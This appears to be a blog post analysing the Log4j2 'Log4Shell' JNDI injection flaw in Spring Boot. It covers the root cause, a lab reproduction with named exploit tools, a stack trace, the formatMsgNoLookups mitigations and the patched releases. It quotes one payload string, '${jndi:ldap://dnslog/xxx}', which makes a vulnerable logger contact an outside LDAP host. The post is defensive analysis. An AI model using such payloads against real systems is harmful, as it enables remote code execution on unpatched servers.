Analyzing and Reproducing the Log4j2 Critical Vulnerability in Spring Boot Applications

Preface

The Log4j2 "nuclear‑level" vulnerability has been publicly disclosed and, because it can be triggered with almost no preconditions, its impact is massive. Many developers were kept awake at night after seeing the exploit work even with innocuous inputs such as wireless‑headset names.

Impact Verification

Early advisories claimed that any project containing log4j-api or log4j-core was vulnerable. A new Spring Boot project pulls in spring-boot-starter-logging , which includes Log4j dependencies, but Spring Boot defaults to Logback for logging, so the application is not affected out‑of‑the‑box.

To verify the claim, a simple controller that writes user input to the log was created and exercised. The logs were processed by Logback, confirming that merely having the Log4j API on the classpath does not trigger the vulnerability.

Root Cause of the Vulnerability

The most widely circulated PoC uses JNDI LDAP queries (e.g., ${jndi:ldap://dnslog/xxx} ) to prove exploitation. Log4j2 supports variable substitution in log messages via the ${...} syntax, which also allows JNDI lookups, opening the door to remote class loading attacks.

JNDI (Java Naming and Directory Interface) acts as a directory service; when a controllable variable is passed to it, the client can download and execute remote classes, leading to command execution.

Vulnerability Reproduction

Using a Java version lower than 1.8_191, the author attempted to reproduce the exploit with tools such as JNDI‑Injection‑Exploit and marshalsec. Initial attempts failed because the logger routed through Logback. After excluding spring-boot-starter-logging and adding log4j-api , the application complained about a missing log4j-core dependency.

Adding log4j-core caused the LDAP lookup to fire and the calculator payload to appear, confirming that the vulnerable code resides in log4j-core , not merely in log4j-api .

Specific Analysis

The stack trace (shown below) reveals the critical steps where the lookup occurs:

lookup: 172, JndiManager (org.apache.logging.log4j.core.net)
lookup: 56, JndiLookup (org.apache.logging.log4j.core.lookup)
lookup: 223, Interpolator (org.apache.logging.log4j.core.lookup)
resolveVariable: 1116, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute: 1038, StrSubstitutor (org.apache.logging.log4j.core.lookup)
replace: 467, StrSubstitutor (org.apache.logging.log4j.core.lookup)
format: 132, MessagePatternConverter (org.apache.logging.log4j.core.pattern)

These actions are all inside the log4j-core library, confirming that the presence of log4j-api alone is insufficient for exploitation; the core component must be present.

The replacement logic checks the FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS constant (derived from the log4j2.formatMsgNoLookups property). Setting this to true disables the dangerous lookup.

Temporary Mitigations

Start the JVM with -Dlog4j2.formatMsgNoLookups=true (after upgrading to Log4j2 2.10+).

Add a log4j2.component.properties file containing log4j2.formatMsgNoLookups=true .

After applying a temporary fix, printing org.apache.logging.log4j.core.util.Constants.FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS should show true , indicating that message lookups are disabled.

Upgrading the Java runtime also raises the attack bar, but it is not a substitute for proper mitigation.

Official Fixes

Log4j released a preview version 2.15.0‑rc1 before the vulnerability became public, which was quickly followed by 2.15.0‑rc2 to address a path‑space bypass. The final 2.15.0 release incorporated these fixes.

Subsequent releases 2.15.1‑rc1 (default‑disabled JNDI) and 2.16.0‑rc1 removed the Message lookup feature entirely. As of the stable 2.16.0 , the lookup functionality is gone.

Conclusion

With the release of Log4j 2.16.0, the official remediation is complete, but the work for developers continues: projects must update their dependencies, and many third‑party components still rely on older, vulnerable versions. Until all transitive dependencies are patched, security alerts will keep developers on high alert.

— In memory of the sleepless nights of countless engineers.